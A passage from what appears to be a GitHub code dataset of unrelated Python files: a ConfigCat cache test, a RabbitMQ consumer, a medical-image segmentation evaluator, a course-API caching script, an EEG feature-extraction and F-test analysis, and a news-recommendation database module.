test_cache_payload(self):\n now_seconds = 1686756435.8449\n etag = 'test-etag'\n entry = ConfigEntry(json.loads(TEST_JSON), etag, TEST_JSON, now_seconds)\n self.assertEqual('1686756435844' + '\\n' + etag + '\\n' + TEST_JSON, entry.serialize())\n\n def test_invalid_cache_content(self):\n hook_callbacks = HookCallbacks()\n hooks = Hooks(on_error=hook_callbacks.on_error)\n config_json_string = TEST_JSON_FORMAT.format(value='\"test\"')\n config_cache = SingleValueConfigCache(ConfigEntry(\n config=json.loads(config_json_string),\n etag='test-etag',\n config_json_string=config_json_string,\n fetch_time=get_utc_now_seconds_since_epoch()).serialize()\n )\n\n client = ConfigCatClient.get('test', ConfigCatOptions(polling_mode=PollingMode.manual_poll(),\n config_cache=config_cache,\n hooks=hooks))\n\n self.assertEqual('test', client.get_value('testKey', 'default'))\n self.assertEqual(0, hook_callbacks.error_call_count)\n\n # Invalid fetch time in cache\n config_cache._value = '\\n'.join(['text',\n 'test-etag',\n TEST_JSON_FORMAT.format(value='\"test2\"')])\n\n self.assertEqual('test', client.get_value('testKey', 'default'))\n self.assertTrue('Error occurred while reading the cache.\\nInvalid fetch time: text' in hook_callbacks.error)\n\n # Number of values is fewer than expected\n config_cache._value = '\\n'.join([str(get_utc_now_seconds_since_epoch()),\n TEST_JSON_FORMAT.format(value='\"test2\"')])\n\n self.assertEqual('test', client.get_value('testKey', 'default'))\n self.assertTrue('Error occurred while reading the cache.\\nNumber of values is fewer than expected.'\n in hook_callbacks.error)\n\n # Invalid config JSON\n config_cache._value = '\\n'.join([str(get_utc_now_seconds_since_epoch()),\n 'test-etag',\n 'wrong-json'])\n\n self.assertEqual('test', client.get_value('testKey', 'default'))\n self.assertTrue('Error occurred while reading the cache.\\nInvalid config JSON: wrong-json.'\n in hook_callbacks.error)\n\n client.close()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"configcat/python-sdk","sub_path":"configcatclienttests/test_configcache.py","file_name":"test_configcache.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"54"} +{"seq_id":"18393624155","text":"import pika\n\nconnection = pika.BlockingConnection(\n pika.ConnectionParameters(virtual_host='guest'))\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='routing', exchange_type='direct')\n\nchannel.queue_declare(queue='ship')\nchannel.queue_bind(exchange='routing', queue='ship', routing_key='china')\nchannel.queue_bind(exchange='routing', queue='ship', routing_key='russia')\n\n\ndef callback(ch, method, properties, body):\n print('Consumed on ship... {}'.format(body))\n\n\ntry:\n print('Consuming on ship...')\n\n channel.basic_consume(callback, queue='ship', no_ack=True)\n channel.start_consuming()\n\nexcept:\n connection.close()\n","repo_name":"nbir/rabbitmq-talk","sub_path":"3-routing/consumer_ship.py","file_name":"consumer_ship.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13895403526","text":"import sys\nimport click\nfrom pathlib import Path\n\n\n@click.command()\n@click.argument('image-dir', type=click.Path(exists=True))\n@click.argument('label-dir', type=click.Path(exists=True))\n@click.argument('checkpoint-path', type=click.Path(exists=True, dir_okay=False))\n@click.argument('output-dir', type=click.Path())\n@click.argument('landmarks-path', type=click.Path(dir_okay=False))\n@click.argument('df-path', type=click.Path(dir_okay=False))\n@click.option('--batch-size', '-b', type=int, default=6, show_default=True)\n@click.option('--num-workers', '-j', type=int, default=12, show_default=True)\n@click.option('--multi-gpu/--single-gpu', '-m', default=True)\ndef main(image_dir, label_dir, checkpoint_path, output_dir, landmarks_path, df_path, batch_size, num_workers, multi_gpu):\n import torch\n import torchio as tio\n import models\n import datasets\n import engine\n import utils\n\n fps = get_paths(image_dir)\n lfps = get_paths(label_dir)\n assert len(fps) == len(lfps)\n # key must be 'image' as in get_test_transform\n subjects = [tio.Subject(image=tio.ScalarImage(fp), label=tio.LabelMap(lfp)) for (fp, lfp) in zip(fps, lfps)]\n transform = datasets.get_test_transform(landmarks_path)\n dataset = tio.SubjectsDataset(subjects, transform)\n checkpoint = torch.load(checkpoint_path)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n model = models.get_unet().to(device)\n if multi_gpu:\n model = torch.nn.DataParallel(model)\n model.module.load_state_dict(checkpoint['model'])\n else:\n model.load_state_dict(checkpoint['model'])\n output_dir = Path(output_dir)\n model.eval()\n torch.set_grad_enabled(False)\n loader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, num_workers=num_workers)\n output_dir.mkdir(parents=True)\n evaluator = engine.Evaluator()\n df = evaluator.infer(model, loader, output_dir)\n df.to_csv(df_path)\n med, iqr = 100 * utils.get_median_iqr(df.Dice)\n print(f'{med:.1f} ({iqr:.1f})')\n return 0\n\n\ndef get_paths(folder):\n import utils\n folder = Path(folder)\n if folder.is_file():\n fps = [folder]\n elif folder.is_dir():\n fps = utils.sglob(folder)\n return fps\n\n\nif __name__ == \"__main__\":\n # pylint: disable=no-value-for-parameter\n sys.exit(main()) # pragma: no cover\n","repo_name":"fepegar/resseg-ijcars","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"54"} +{"seq_id":"37297862833","text":"import requests \nimport json\nfrom pathlib import Path \n\ndef request_url(url):\n request = requests.get(url)\n response = request.json()\n return (response)\n\ndef open_json_file(file_name, data):\n with open(file_name, \"w\") as file_hender:\n file_hender.write(data)\n return file_hender\n\ndef append_in_json_file(file_name, data):\n with open(str(file_name), \"a+\") as file_hender:\n demo = json.dumps(data)\n file_hender.write(demo)\n # return file_hender\n # demo = json.loads(file_hender)\n # demo = json.loads(demo)\n # return demo\n\ndef read_json_file(file_name):\n read_file = open(file_name,\"r\") \n str_file = read_file.read()\n return str_file\n\ndef courses(data, name):\n count = 0\n id_list = []\n while(count < len(data[\"availableCourses\"])):\n print ((count+1), data[\"availableCourses\"][count][name])\n id_list.append(data[\"availableCourses\"][count]['id'])\n count = count + 1\n return id_list\n\ndef child_and_parentExercise(data):\n exercise_slug_list = []\n count = 0\n num = 1\n print (\"***\")\n print (len(data['data']))\n while (count < len(data['data'])):\n print (num, (data['data'][count]['name']))\n exercise_slug_list.append(data['data'][count]['slug'])\n if (data['data'][count]['childExercises'] != []):\n counter = 0\n while (counter < len(data['data'][count]['childExercises'])):\n print ((\" \"), (num+1), (data['data'][count]['childExercises'][counter]['name']))\n exercise_slug_list.append(data['data'][count]['childExercises'][counter]['slug'])\n num = num + 1\n counter = counter + 1\n num = num + 1\n count = count + 1\n return exercise_slug_list\n\ndef child_or_parentExercise(data, exercise_name):\n count = 0\n while (count < len(data['data'])):\n if(exercise_name == (data['data'][count]['name'])):\n print (\"This is ParentExercise.\")\n if (data['data'][count]['childExercises'] != []):\n counter = 0\n while (counter < len(data['data'][count]['childExercises'])):\n if(exercise_name == (data['data'][count]['childExercises'][counter]['name'])):\n print (\"This is childExercise.\")\n counter = counter + 1\n count = count + 1\n\ncourse_url = \"http://saral.navgurukul.org/api/courses\"\n\nconfig = Path('courses.json')\n\nif config.is_file():\n str_file = read_json_file(\"courses.json\")\n dict_file = json.loads(str_file)\nelse:\n call_api = request_url(course_url)\n data = json.dumps(call_api)\n open_json_file(\"courses.json\", data)\n str_file = read_json_file(\"courses.json\")\n dict_file = json.loads(str_file)\nname = \"name\"\nid_list = courses(dict_file, name)\nprint (\" \")\nuser = int(input(\"Enter course number for id:- \"))\nid = (id_list[user-1])\n","repo_name":"ravinaNG/request_in_python","sub_path":"caching.py","file_name":"caching.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1452891910","text":"from pathlib import Path\n\nimport numpy as np\n\n\ndef path_list_generator():\n path_list = []\n for path in Path(r'/run/media/****/project/edf/').rglob('*.edf'):\n path_list.append(path)\n print(\"EDF Files in path: \" + str(len(path_list)))\n return path_list\n\n\npath_list_generator() # 669 edf fies\n\n# 1385 labels == all events\n# 726 featuers... which is which?\n# import antropy as ant\n#\n# arr=np.ones(555)\n# ant.katz_fd(arr)\n\n\nnpy_labels = []\nnpy_features = []\nfor path in Path(r'/run/media/****/prjfromJupyter/fft+ica/').rglob('*.npy'):\n if \"label\" in str(path):\n current_nparray = (np.load(str(path), allow_pickle=True))\n npy_labels.append(current_nparray.reshape(len(current_nparray), -1))\n elif \"feature\" in str(path):\n current_nparray = (np.load(str(path), allow_pickle=True))\n npy_features.append(current_nparray.reshape(len(current_nparray), -1))\n\nlabels_array = np.concatenate(\n npy_labels) # https://stackoverflow.com/questions/28125265/concatenate-numpy-arrays-which-are-elements-of-a-list\nfeatures_array = np.concatenate(npy_features)\n\n###############################################\n\nimport mne\nimport numpy as np\n# import cupy as cp\nimport antropy as ant\nimport pandas as pd\nfrom pathlib import Path\n\nmne.set_log_level(verbose=\"CRITICAL\")\n# mne.cuda.init_cuda(verbose=True)\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n# from numba import jit\nimport time\n\n\ndef path_list_generator():\n path_list = []\n for path in Path(r'/run/media/****/project/edf/').rglob('*.edf'):\n path_list.append(path)\n print(\"EDF Files is path: \" + str(len(path_list)))\n return path_list\n\n\n# data features extraction functions\n# @jit\ndef maximum(x):\n return np.max(x, axis=-1)\n\n\n# @jit\ndef minimum(x):\n return np.min(x, axis=-1)\n\n\n# @jit\ndef whichmin(x):\n return np.argmin(x, axis=-1)\n\n\n# @jit\ndef whichmax(x):\n return np.argmax(x, axis=-1)\n\n\n# @jit\ndef mean(x):\n return np.mean(x, axis=-1)\n\n\n# @jit\ndef median(x):\n return np.median(x, axis=-1)\n\n\n# @jit\ndef std(x):\n return np.std(x, axis=-1)\n\n\n# @jit\ndef variance(x):\n return np.var(x, axis=-1)\n\n\n# @jit\ndef peaktopeak(x):\n return np.ptp(x, axis=-1)\n\n\n# @jit\ndef rms(x):\n return np.sqrt(np.mean(x ** 2, axis=-1))\n\n\n# @jit\ndef sad(x): # Sum of absolute differences\n return np.sum(np.abs(np.diff(x, axis=-1)), axis=-1)\n\n\nfrom scipy import stats\n\n\n# @jit\ndef kurtosis(x):\n return stats.kurtosis(x, axis=-1)\n\n\n# @jit\ndef skewness(x):\n return stats.skew(x, axis=-1)\n\n\n# @jit\ndef load_features(path_tuple, features_list, labels_list, limiter, loop_count=0):\n chans = ['EEG T4-REF', 'EEG T6-REF', 'EEG P3-REF', 'EEG O2-REF', 'EEG F7-REF', 'EEG T5-REF', 'EEG C3-REF',\n 'EEG T3-REF', 'EEG F3-REF', 'EEG FP1-REF',\n 'EEG F8-REF', 'EEG A1-REF', 'EEG O1-REF', 'EEG A2-REF', 'EEG FP2-REF', 'EEG F4-REF', 'EEG C4-REF',\n 'EEG CZ-REF', 'EEG P4-REF']\n for path in path_list_generator()[path_tuple[0]:path_tuple[1]]:\n loopstart_time = time.time()\n # load edf\n mne_edf = mne.io.read_raw_edf(str(path), preload=True)\n mne_edf.pick_channels(chans)\n fsamp = mne_edf.info['sfreq']\n mne_edf.filter(1, 40)\n mne_edf.set_eeg_reference()\n print(\"loadedf took %s seconds\" % (time.time() - loopstart_time))\n # loopstart_time=time.time()\n # # ICA artifact removal\n # ica = mne.preprocessing.ICA(n_components=0.9999, method=\"picard\", max_iter='auto', random_state=random.randint(10,90000))\n # ica.fit(mne_edf)\n # ica.apply(mne_edf)\n # print(\"ICA Artifacts took %s seconds\" % (time.time() - loopstart_time))\n # loopstart_time=time.time()\n # annotations\n tse_file = pd.read_csv(str(path).replace(\".edf\", \".tse\"), delim_whitespace=True, index_col=False)\n tse_file.rename(columns={'version': 'start', '=': 'end', 'tse_v1.0.0': 'event'}, inplace=True)\n onset = []\n duration = []\n description = []\n for i in range(tse_file.shape[0]):\n onset.append(tse_file.iloc[i]['start'])\n duration.append(tse_file.iloc[i]['end'] - tse_file.iloc[i]['start'])\n description.append(tse_file.iloc[i]['event'])\n\n annot = mne.Annotations(onset=onset, # in seconds\n duration=duration, # in seconds\n description=description)\n print(\"Annotations took %s seconds\" % (time.time() - loopstart_time))\n loopstart_time = time.time()\n # create current data_list and overall labels_list\n data_list = []\n\n for i, event in enumerate(annot.description):\n labels_list.append(event)\n data_list.append(mne_edf.get_data()[:, round(annot.onset[i] * fsamp):round(annot.onset[i] * fsamp) + round(\n annot.duration[i] * fsamp)])\n print(\"data_list.append took %s seconds\" % (time.time() - loopstart_time))\n loopstart_time = time.time()\n # features\n for event in data_list:\n\n f0 = median(event).reshape(-1, 1)\n f1 = mean(event).reshape(-1, 1)\n f2 = maximum(event).reshape(-1, 1)\n f3 = minimum(event).reshape(-1, 1)\n f4 = sad(event).reshape(-1, 1)\n f5 = rms(event).reshape(-1, 1)\n f6 = peaktopeak(event).reshape(-1, 1)\n f7 = kurtosis(event).reshape(-1, 1)\n f8 = skewness(event).reshape(-1, 1)\n f9 = variance(event).reshape(-1, 1)\n f10 = std(event).reshape(-1, 1)\n f11 = ant.num_zerocross(event, axis=-1).reshape(-1, 1)\n f12 = ant.katz_fd(event, axis=-1).reshape(-1, 1)\n f13 = ant.hjorth_params(event, axis=-1)[0].reshape(-1, 1)\n f14 = ant.hjorth_params(event, axis=-1)[1].reshape(-1, 1)\n f15 = np.empty(0)\n for channel in event: f15 = np.append(f15, ant.perm_entropy(channel, normalize=True)); f15 = f15.reshape(-1,\n 1)\n f16 = ant.spectral_entropy(event, sf=fsamp, method='welch', normalize=True).reshape(-1, 1)\n f17 = np.empty(0)\n for channel in event: f17 = np.append(f17, ant.svd_entropy(channel, normalize=True)); f17 = f17.reshape(-1,\n 1)\n f18 = ant.petrosian_fd(event).reshape(-1, 1)\n f19 = np.empty(0)\n for channel in event: f19 = np.append(f19, ant.higuchi_fd(channel)); f19 = f19.reshape(-1, 1)\n f20 = np.empty(0)\n for channel in event: f20 = np.append(f20, ant.detrended_fluctuation(channel)); f20 = f20.reshape(-1, 1)\n\n # f21_lz = np.empty(0) # removed because of performance issues\n # for channel in event: f21_lz = np.append(f21_lz, ant.lziv_complexity(channel)); f21_lz = f21_lz.reshape(-1, 1)\n #\n\n # psd features\n fft_event = np.fft.rfft(event)\n\n f21 = mean(fft_event).real.reshape(-1, 1)\n f22 = mean(fft_event).imag.reshape(-1, 1)\n f23 = median(fft_event).real.reshape(-1, 1)\n f24 = median(fft_event).imag.reshape(-1, 1)\n f25 = variance(fft_event).real.reshape(-1, 1)\n # f25_1 = variance(fft_event).imag.reshape(-1, 1) is empty\n f26 = std(fft_event).real.reshape(-1, 1)\n # f27 = std(fft_event).imag.reshape(-1, 1) is empty\n f28 = skewness(fft_event).real.reshape(-1, 1)\n f29 = skewness(fft_event).imag.reshape(-1, 1)\n f30 = kurtosis(fft_event).real.reshape(-1, 1)\n f31 = kurtosis(fft_event).imag.reshape(-1, 1)\n\n psd_event = mne.time_frequency.psd_welch(\n mne.io.RawArray(event, info=mne.create_info(ch_names=chans, ch_types=\"eeg\", sfreq=fsamp)),\n picks=\"all\", n_fft=int(len(event[0]) / 2), window='hamming')[0]\n\n # fpsd1 = median(psd_event).reshape(-1,1)\n # fpsd2 = mean(psd_event).reshape(-1, 1)\n # fpsd3 = maximum(psd_event).reshape(-1, 1)\n # fpsd4 = minimum(psd_event).reshape(-1, 1)\n # fpsd0 = sad(event).reshape(-1, 1)\n # fpsd5 = rms(event).reshape(-1, 1)\n # fpsd6 = peaktopeak(event).reshape(-1, 1)\n # fpsd7 = kurtosis(event).reshape(-1, 1)\n # fpsd8 = skewness(event).reshape(-1, 1)\n # fpsd9 = variance(event).reshape(-1, 1)\n # fpsd10 = std(event).reshape(-1,1)\n\n fpsd_list = [median(psd_event).reshape(-1, 1), mean(psd_event).reshape(-1, 1),\n std(psd_event).reshape(-1, 1), maximum(psd_event).reshape(-1, 1),\n minimum(psd_event).reshape(-1, 1), sad(psd_event).reshape(-1, 1),\n rms(psd_event).reshape(-1, 1), peaktopeak(psd_event).reshape(-1, 1),\n kurtosis(psd_event).reshape(-1, 1), skewness(psd_event).reshape(-1, 1),\n variance(psd_event).reshape(-1, 1)]\n\n # WARN: 27 REMOVED\n\n print(\"Features Calculations took %s seconds\" % (time.time() - loopstart_time))\n loopstart_time = time.time()\n features_list.append(np.concatenate((f0, f1, f2, f3, f4, f5, f6, f7, f8, f9, f10, f11, f12, f13, f14, f15,\n f16, f17, f18, f19, f20, f21, f22, f23, f24, f25, f26, f28, f29, f30,\n f31, *[fpsd for fpsd in fpsd_list]), axis=-1))\n print(\"Features append took %s seconds\" % (time.time() - loopstart_time))\n loopstart_time = time.time()\n if (limiter != 0):\n loop_count += 1\n if (limiter != 0 and loop_count == limiter):\n break\n\n\n##################\n\n\nfl_test = []\nll_test = []\nfl_main = load_features((0, 6), fl_test, ll_test, 0)\n\nfeatures_dict = {}\nfeatures_flattened = []\nfeatures_str_flattened = []\nfor evn_no, event in enumerate(fl_test):\n curr_event_str = ll_test[evn_no]\n curr_features_str_list = []\n curr_features_list = []\n for ch_no, channel in enumerate(event):\n curr_channel_str = \"ch\" + str(ch_no)\n for feat_no, feature in enumerate(channel):\n curr_feature_str = curr_channel_str + \"_feat\" + str(feat_no)\n curr_features_str_list.append(curr_feature_str)\n curr_features_list.append(feature)\n features_flattened.append(curr_features_list)\n features_str_flattened.append(curr_features_str_list)\n features_dict[evn_no] = curr_features_list\n\ndataframe_test = pd.DataFrame(features_flattened, columns=features_str_flattened[0])\n\nnp.set_printoptions(threshold=10000)\ndataframe_test.head()\n\nfrom sklearn.feature_selection import f_classif\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport seaborn as sns\n\n# Extract sorted F-values\nfvals = pd.Series(f_classif(X=dataframe_test, y=ll_test)[0], index=dataframe_test.columns)\nfeatures_count = 42\n\n# Average By Channel\n\nfrom collections import defaultdict\n\nscoring_dict_bychan = defaultdict(list)\n\ncurr = 0\ncurr_ch = 0\ncurr_list = []\n\nfor feat_value in fvals:\n curr_list.append(feat_value)\n curr += 1\n if curr == features_count - 1:\n scoring_dict_bychan[\"ch\" + str(curr_ch)].append(curr_list)\n curr_ch += 1\n curr = 0\n curr_list = []\n\nprint(scoring_dict_bychan)\n\nscoring_dict_avg_by_chan = defaultdict(list)\n\nfor item in list(scoring_dict_bychan.keys()):\n curr_arr = np.array(scoring_dict_bychan[item])\n curr_arr = curr_arr[~np.isnan(curr_arr)]\n scoring_dict_avg_by_chan[item] = np.mean(curr_arr)\n\nnp.array(scoring_dict_bychan[item])\n\nmatplotlib.use('Qt5Agg')\n\n# Plot\n\nplt.figure(figsize=(6, 6))\nsns.barplot(y=list(scoring_dict_avg_by_chan.keys()), x=list(scoring_dict_avg_by_chan.values()), palette='RdYlGn')\nplt.xlabel('F-values')\nplt.xticks(rotation=20)\nimport arabic_reshaper\nfrom bidi.algorithm import get_display\n\nplt.title(get_display(arabic_reshaper.reshape(\"کانال‌هابه عنوان ویژگی، آزمون اف\")), font=\"B Nazanin\", fontsize=16)\n# plt.legend()\nplt.xlabel(get_display(arabic_reshaper.reshape(\"امتیاز میانگین\")), font=\"B Nazanin\", fontsize=16, labelpad=10)\n\nmatplotlib.rcParams['figure.figsize'] = (64, 54)\nplt.savefig(\"SVGfigs/5-chFtest.svg\")\n\n# By Features\n\nscoring_dict_byfeat = defaultdict(list)\n\nchannels_count = 19\nfor feat_no in range(features_count):\n feat_curr = []\n for chan_no in range(channels_count):\n feat_curr.append(fvals[chan_no * features_count + feat_no])\n scoring_dict_byfeat[\"feature\" + str(feat_no)] = feat_curr\n\n# Rename feature names to match their corresponding names\n\ncorresp_feat_names = [\n 'Median',\n 'Mean',\n 'Maximum',\n 'Minimum',\n 'SAD',\n 'RMS',\n 'PtP',\n 'Kurtosis',\n 'Skewness',\n 'Variance',\n 'Std',\n 'Zerocross',\n 'Hatd_fd',\n 'Hjorth0',\n 'Hjorth1',\n 'Permutation Entropy',\n 'Spectral Entropy',\n 'SVD Entropy',\n 'Petrosian_fd',\n 'Higuchi_fd',\n 'Detrended_fluctuation',\n 'fft_Mean_Re',\n 'fft_Mean_Im',\n 'fft_Median_Re',\n 'fft_Median_Im',\n 'fft_Variance',\n 'fft_Std',\n 'fft_Skewness_Re',\n 'fft_Skewness_Im',\n 'fft_Kurtosis_Re',\n 'fft_Kurtosis_Im',\n 'psd_Median',\n 'psd_Mean',\n 'psd_Std',\n 'psd_Maximum',\n 'psd_Minimum',\n 'psd_SAD',\n 'psd_RMS',\n 'psd_PtP',\n 'psd_Kurtosis',\n 'psd_Skewness',\n 'psd_Variance'\n]\n\nfor feat_no in range(features_count):\n scoring_dict_byfeat[corresp_feat_names[feat_no]] = scoring_dict_byfeat.pop(\"feature\" + str(feat_no))\n\n# Average\n\nscoring_dict_avg_by_feat = defaultdict(list)\n\nfor item in scoring_dict_byfeat.keys():\n scoring_dict_avg_by_feat[item] = np.mean(scoring_dict_byfeat[item]).tolist()\n\nmatplotlib.use('Qt5Agg')\n\n# Plot\n\n\nplt.rcParams['figure.figsize'] = (14, 21)\nplt.tight_layout()\nplt.rcParams['axes.facecolor'] = 'white'\n# plt.tight_layout()\n# plt.figure(figsize=(6, 6))\nsns.barplot(y=list(scoring_dict_avg_by_feat.keys()), x=list(scoring_dict_avg_by_feat.values()), palette='RdYlGn')\n# plt.xlabel('F-values')\nplt.xticks(rotation=20)\nimport arabic_reshaper\n\nsns.despine()\nfrom bidi.algorithm import get_display\n\nplt.title(get_display(arabic_reshaper.reshape(\"مقایسه ویژگی‌های منتخب بر اساس آزمون اف\")), font=\"B Nazanin\",\n fontsize=16)\n# plt.legend()\nplt.xlabel(get_display(arabic_reshaper.reshape(\"امتیاز میانگین\")), font=\"B Nazanin\", fontsize=16, labelpad=10)\n# plt.ylabel(get_display(arabic_reshaper.reshape(\"شماره رویداد\")), font=\"B Nazanin\", fontsize=16 , position=(25,1),horizontalalignment='right', verticalalignment='center',labelpad=20)\n\n\nplt.savefig(\"SVGfigs/5-featFtest.svg\")\n\n#################################\n# from sklearn.feature_selection import SelectKBest\n# bestF = SelectKBest(score_func=f_classif, k =4)\n# fit = bestF.fit(features_flattened, ll_test)\n# print(fit.pvalues_)\n# # bestF.score_func(features_flattened, ll_test)\n\n\n# begin sklearn\n\nfrom sklearn.preprocessing import LabelEncoder\nimport random\n\nle = LabelEncoder()\nlabels_encoded = le.fit_transform(ll_test)\nmapping = dict(zip(le.classes_, range(len(le.classes_))))\nprint(labels_encoded, mapping)\n\nfrom sklearn.model_selection import train_test_split\n\ninput_train, input_test, output_train, output_test = train_test_split(features_flattened, labels_encoded,\n test_size=0.15,\n random_state=random.randint(1, 90000))\n# import sys\n# np.set_printoptions(threshold=sys.maxsize)\n# print(output_train)\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.linear_model import LogisticRegression\n\ngrid_params_dict_2 = {\n 'clf__C': [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.1, 1.2, 1, 3, 2, 3, 4, 5, 6, 7, 8, 9, 10]}\nclf = LogisticRegression(max_iter=2000)\npipe = Pipeline([('scalar', StandardScaler()), ('clf', clf)])\ngrid_search = GridSearchCV(\n pipe,\n param_grid=grid_params_dict_2,\n cv=2,\n n_jobs=-1\n)\ngrid_search.fit(input_train, output_train)\nprint(grid_search.best_score_)\n# print(grid_search.best_params_)\n# print(grid_search.score(input_test, output_test))\n# print(output_test)\n","repo_name":"amirhoseinJ/BioSignals-kntu","sub_path":"Jupyter_aggregated_cleaned/Thesis-visualization-cleaned_part3_anovaF.py","file_name":"Thesis-visualization-cleaned_part3_anovaF.py","file_ext":"py","file_size_in_byte":16473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"60884230","text":"from datetime import datetime, timedelta\nfrom typing import List, Union\nfrom uuid import UUID\n\nimport numpy as np\nimport sqlalchemy\nfrom sqlalchemy import select\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom anaserver.models import News, NewsEmbedding, Source, User, UserToNews\nfrom anaserver.models.users_embeddings import UserEmbedding\n\n\nasync def get_user(db: AsyncSession, user_id: int) -> User:\n result = await db.execute(select(User).where(User.id == user_id))\n return result.scalars().first()\n\n\nasync def add_user(db: AsyncSession, user: User) -> User:\n db.add(user)\n await db.commit()\n return user\n\n\nasync def get_users(db: AsyncSession) -> List[User]:\n result = await db.execute(select(User))\n return result.scalars().all()\n\n\nasync def get_users_by_role(db: AsyncSession, role_id: int) -> List[User]:\n result = await db.execute(select(User).where(User.role == role_id))\n return result.scalars().all()\n\n\nasync def get_news_by_user(db: AsyncSession, user_id: int) -> List[News]:\n news_ids = await db.execute(select(UserToNews.news_id).where(UserToNews.user_id == user_id))\n news_ids = news_ids.scalars().all()\n news = await db.execute(select(News).where(News.id.in_(news_ids)))\n return news.scalars().all()\n\n\nasync def get_news_by_id(db: AsyncSession, news_id: UUID) -> News:\n result = await db.execute(select(News).where(News.id == news_id))\n return result.scalars().first()\n\n\nasync def get_news_by_ids(db: AsyncSession, news_ids: List[UUID]) -> List[News]:\n news = await db.execute(select(News).where(News.id.in_(news_ids)))\n return news.scalars().all()\n\n\nasync def get_news_by_role(db: AsyncSession, role_id: int) -> List[News]:\n news_ids = await db.execute(\n select(UserToNews.news_id).where(UserToNews.user_id.in_(select(User.id).where(User.role == role_id)))\n )\n news_ids = news_ids.scalars().all()\n news = await get_news_by_ids(db, news_ids)\n return news\n\n\nasync def get_news_embedding(db: AsyncSession, news_id: UUID) -> NewsEmbedding:\n news_embedding = await db.execute(select(NewsEmbedding).where(NewsEmbedding.news_id == news_id))\n return news_embedding.scalars().first()\n\n\nasync def get_user_embedding(db: AsyncSession, user_id: int) -> list:\n user_interactions = await db.execute(select(UserToNews).where(UserToNews.user_id == user_id))\n user_interactions = user_interactions.scalars().all()\n user_interacted_news = await db.execute(\n select(News).where(News.id.in_(select(UserToNews.news_id).where(UserToNews.user_id == user_id)))\n )\n user_interacted_news = user_interacted_news.scalars().all()\n if not user_interacted_news:\n return [0.0] * 256\n user_interacted_news_embeddings = await get_news_embeddings(db, [news.id for news in user_interacted_news])\n user_coef = {0: 1, 1: 5, 2: -2}\n user_embedding = np.sum(\n [\n np.array(news_embedding.embedding) * user_coef[news_.action_id]\n for news_embedding, news_ in zip(user_interacted_news_embeddings, user_interactions)\n ],\n axis=0,\n ).tolist()\n return user_embedding\n\n\nasync def get_news_embeddings(db: AsyncSession, news_ids: List[UUID]) -> List[NewsEmbedding]:\n news_embeddings = await db.execute(select(NewsEmbedding).where(NewsEmbedding.id.in_(news_ids)))\n return news_embeddings.scalars().all()\n\n\nasync def get_news(db: AsyncSession, offset: int, count: int, n: int = -1) -> List[News]:\n if n == -1:\n news = await db.execute(select(News).offset(offset).limit(count).order_by(News.date.desc()))\n elif n > 0:\n news = await db.execute(select(News).offset(offset).limit(count).order_by(News.date.desc()).limit(n))\n return news.scalars().all()\n\n\nasync def get_all_news(db: AsyncSession, n: int = -1) -> List[News]:\n if n == -1:\n news = await db.execute(select(News).order_by(News.date.desc()))\n elif n > 0:\n news = await db.execute(select(News).order_by(News.date.desc()).limit(n))\n return news.scalars().all()\n\n\nasync def get_closest_news(\n db: AsyncSession, filtered_news: List[News], embedding: Union[UserEmbedding, NewsEmbedding], n: int\n) -> List[News]:\n closest_news = await db.execute(\n select(News)\n .where(News.id.in_([news_.id for news_ in filtered_news]))\n .where(\n News.id.in_(select(NewsEmbedding.id).order_by(NewsEmbedding.embedding.cosine_distance(embedding.embedding)))\n )\n .order_by(News.date.desc())\n .limit(n)\n )\n return closest_news.scalars().all()\n\n\nasync def get_filtered_news(db: AsyncSession, user_id: int) -> List[News]:\n news = await db.execute(\n select(News)\n .where(News.date >= (datetime.now() - timedelta(days=7)))\n .where(\n News.source_id.in_(select(Source.id).where(Source.role_id == select(User.role).where(User.id == user_id)))\n )\n .where(News.id.notin_(select(UserToNews.news_id).where(UserToNews.user_id == user_id)))\n )\n return news.scalars().all()\n\n\nasync def add_action(db: AsyncSession, user_id: int, news_id: UUID, action_id: int) -> None:\n check = await db.execute(\n select(UserToNews)\n .where(UserToNews.user_id == user_id)\n .where(UserToNews.news_id == news_id)\n .where(UserToNews.action_id == action_id)\n )\n if not check.scalars().first():\n await db.execute(\n sqlalchemy.insert(UserToNews).values(\n user_id=user_id,\n news_id=news_id,\n action_id=action_id,\n )\n )\n await db.commit()\n\n\nasync def get_news_for_user(db: AsyncSession, user_id: int, n: int) -> List[News]:\n user_embedding = await get_user_embedding(db, user_id)\n filtered_news = await get_filtered_news(db, user_id)\n if not filtered_news:\n filtered_news = await get_all_news(db, 15)\n user_embedding = UserEmbedding(id=user_id, embedding=user_embedding)\n closeset_news = await get_closest_news(db, filtered_news, user_embedding, n)\n for news in closeset_news:\n await add_action(db, user_id, news.id, 0)\n return closeset_news\n\n\nasync def get_role_embedding(db: AsyncSession, role_id: int) -> List[float]:\n user_embeddings_list = [await get_user_embedding(db, user.id) for user in await get_users_by_role(db, role_id)]\n role_embedding = np.mean([np.array(user_embedding) for user_embedding in user_embeddings_list], axis=0).tolist()\n return role_embedding\n\n\nasync def get_trends_for_role(db: AsyncSession, role_id: int) -> News:\n role_embedding_list = await get_role_embedding(db, role_id)\n role_embedding: UserEmbedding = UserEmbedding(id=role_id, embedding=role_embedding_list)\n news = await db.execute(\n select(News)\n .where(News.date >= (datetime.now() - timedelta(days=7)))\n .where(News.source_id.in_(select(Source.id).where(Source.role_id == role_id)))\n )\n news = news.scalars().all()\n closest_article = await 